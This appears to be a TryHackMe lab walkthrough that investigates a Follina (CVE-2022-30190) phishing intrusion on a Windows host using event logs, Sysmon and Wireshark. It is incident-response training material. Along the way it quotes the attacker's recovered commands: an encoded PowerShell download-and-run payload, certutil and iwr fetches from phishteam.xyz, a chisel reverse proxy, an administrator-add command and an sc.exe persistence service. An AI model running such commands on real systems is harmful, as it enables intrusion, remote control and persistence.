TEMPEST

https://tryhackme.com/room/tempestincident

Walkthrough for "Tempest Incident"

Operating System: Windows

Username: user

Password: Investigatem3!

Log in: winconnect $TARGET user Investigatem3!

Command winconnect is my personal alias for the following:

xfreerdp /u:$2 /p:$3 /v:$1 /dynamic-resolution +clipboard

Tool Overview

Get hashes of artifacts by running PowerShell and executing the following command:

Get-FileHash -Algorithm SHA256 $ARTIFACT

SHA256 HASHES

capture.pcapng: CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6

sysmon.evtx: 665DC3519C2C235188201B5A8594FEA205C3BCBC75193363B87D2837ACA3C91F

windows.evtx: D0279D5292BC5B25595115032820C978838678F4333B725998CFE9253E186D60

This challenge focuses on analyzing Sysmon Logs, Windows Event Logs, and Packet Captures. The following is a list of different tools for viewing the data:

Endpoint Log Tools

  • EctxEcmd: CLI tool which parses Windows Event Logs into different formats

    • .\EvtxECmd.exe -f $FILE_PATH --csv $D_PATH --csvf $D_FILE

  • Timeline Explorer: GUI tool that functions as a data filtering and navigating application

    • Open csv files produced by "EctxEcmd"

  • SysmonView: Windows GUI to visualize Sysmon Logs

    • Uses xml files produced by "Event Viewer"

  • Event Viewer: Windows GUI to view Windows Event Logs and Sysmon Logs

    • Action > Save All Events As... > XML

Network Logs

  • Wireshark

  • Brim

Tempest Incident - Initial Access

Malicious Document

The following is essential information generated by the CRITICAL alert caused by a malicious document:

  • The malicious document has a .doc extension

  • The user downloaded the malicious document via chrome.exe

  • The malicious document then executed a chain of commands to attain code execution

Using the Timeline Explorer and searching for the string ".doc", 13 events are found relating to the malicious document. One in particular provides a large amount of information:

It's also possible to use SysmonView to interpret the events happening on processes like chrome.exe or WinWord.exe.

  • Name of document: free_magicules.doc

  • Name of machine: TEMPEST

  • Name of user: benimaru

  • PID of Microsoft Process: 496

A quick search on the capture.pcap in Wireshark also shows that the IP and website name are 167.71.199.191 and hxxp[://]phishteam[.]xyz (defanged form). Searching further, using the PID found (496) to search in Timeline Explorer, some interesting executable information is found:

This payload belongs to an exploit called [Folina](https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day), which leverages remote templates to execute a PowerShell payload using the "ms-msdt" MSProtocol URI scheme. A successful attack results in a remote, unauthenticated attacker taking control of an affected system.

Malicious Domain: 167.71.199.191

Malicious Payload: JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg

CVE: 2022-30190

Stage 2 Execution

Decoding the base64 from earlier gives the following:

To get the full path, use the command gci env: to get the environment variables, specifically APPDATA. This is C:\Users\user\AppData\Roaming\, but for user Benimaru, the "user" would be replaced with "Benimaru". Combining the variable with the rest of path simplifies the path to C:\Users\Benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.zip. This can also be found by searching "update.zip" in the Timeline Explorer and looking at Payload Data4.

Full Target Path of the Payload:

C:\Users\Benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

The file is placed in the "Startup" folder. The Autostart execution reflects explorer.exe as its parent process ID, so child processes of explorer.exe within the event timeframe could be significant. Any process creation (Event ID 1) or File Creation (Event ID 11) succeeding the document execution are worth checking. Searching on Timeline Explorer for events relating to that parent process shows the following executable info:

Executed Command:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -noni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe

The file "first.exe" is likely the malicious binary for stage 2 execution. Searching for "first.exe" shows a number of commands run involving the file:

Investigating the payload of C:\Users\Public\Downloads\first.exe shows the hashes provided with the binaries.

SHA256 for first.exe: CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8

C2 Server: http://resolvecyber.xyz:80/

Malicious Document Traffic

The C2 server has the following information:

  • IP and Port: 167.71.222.162:80

  • DNS Query: resolvecyber.xyz

This information can help create the following filter to look at all the communication going to the C2, specifically the encoded requests: (ip.dst == 167.71.222.162 and ip.src == 192.168.254.107) and http

URL of Malicious Payload: http://phishteam.xyz/02dcf07/index.html

C2 Encoding: Base64

C2 Parameter: q

C2 URL Path: /9ab62b5

C2 HTTP Method: GET

C2 Programming Language: Nim

Discovery - Internal Reconnaissance

Going back to the C2 communication, I wanted to see what commands and responses were going through. The first step is to get the queries in one file. I used the following filter: (ip.dst == 167.71.222.162 and ip.src == 192.168.254.107) and http.request.uri contains "q". Then I exported packet dissections as plain text with only the packet summary line to quarantine the query line.

Using a simple python script, the decoded base64 strings could be extracted. The following is the script I wrote:

It can also be done easily in bash as well using sed and awk:

cat export.txt | awk '{print $8}' | sed 's/q=/ /g' | awk '{print $2}' | base64 -d

The following text file is the output which features the session the attacker had to create new users and persistence:

Password Discovered: infernotempest

Listening Port Remote Shell: 5985 (WinRM)

After enumerating the listening ports, the attacker establishs a reverse socks proxy to access the internal services. The command they use first is powershell iwr http://phishteam.xyz/02dcf07/ch.exe which downloads a file called ch.exe. Searching this file in Timeline Explorer shows how the attacker used the process.

Doing a search of the hash on VirusTotal gives a return on the binary known as "chisel". Chisel is a fast tunnel transported over HTTP, secured via SSH. It's a single executable that works as both a client and server.

One of the following processes has the execution command: C:\Windows\system32\wsmprovhost.exe -Embedding. This is a process that hosts an active remote session on a target. It is a plugin for the host process WinRM. This was most likely the service used to authenticate to get privilege escalation.

Reverse Socks Proxy: "C:\Users\benimaru\Downloads\ch.exe" client 167.71.199.191:8080 R:socks

SHA256 Hash: 8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451

Name of Tool: chisel

Service used to Authenticate: winrm

Privilege Escalation

After looking at the privileges of the user, the attacker discovered a plethora of privilege escalation including the following privileges:

  • SeImpersonatePrivilege

  • SeTcbPrivilege

  • SeCreateTokenPrivilege

  • SeDebugPrivilege

  • SeBackupPrivilege / SeRestorePrivilege

  • SeTakeOwnershipPrivilege

All of these can be used to do local privilege escalation, but the logs show the attacker attempting to use "SeImpersonatePrivilege", which is one of the most explored local privilege escalation techniques often associated with "Juicy Potato", "Rogue Potato", and "PrintSpoofer".

Looking through the Sysmon events, there is an execution of spf.exe. This is a common associated executable name for "PrintSpoofer". Looking into the details shows us the following:

Binary Name: spf.exe

SHA256 Hash: 8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D

Associated Tool: printspoofer

Associated Privilege: SeImpersonatePrivilege

The base64 output also shows the use of another tool to establish a c2 connection: sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto

Searching for the sc.exe binary in the Sysmon events shows it was opened on port 8080.

Actions on the Objective

Most of the actions have already been shown by the output from the decoded base64. It shows a number of useful things for this section:

New Users Created: shion, shuna

Missing Option: /add

Command to add administrator:

net localgroup administrators /add shion

Persistence cmd: C:\Windows\system32\sc.exe \TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto

PreviousROASTEDNextTRAVERSE

Last updated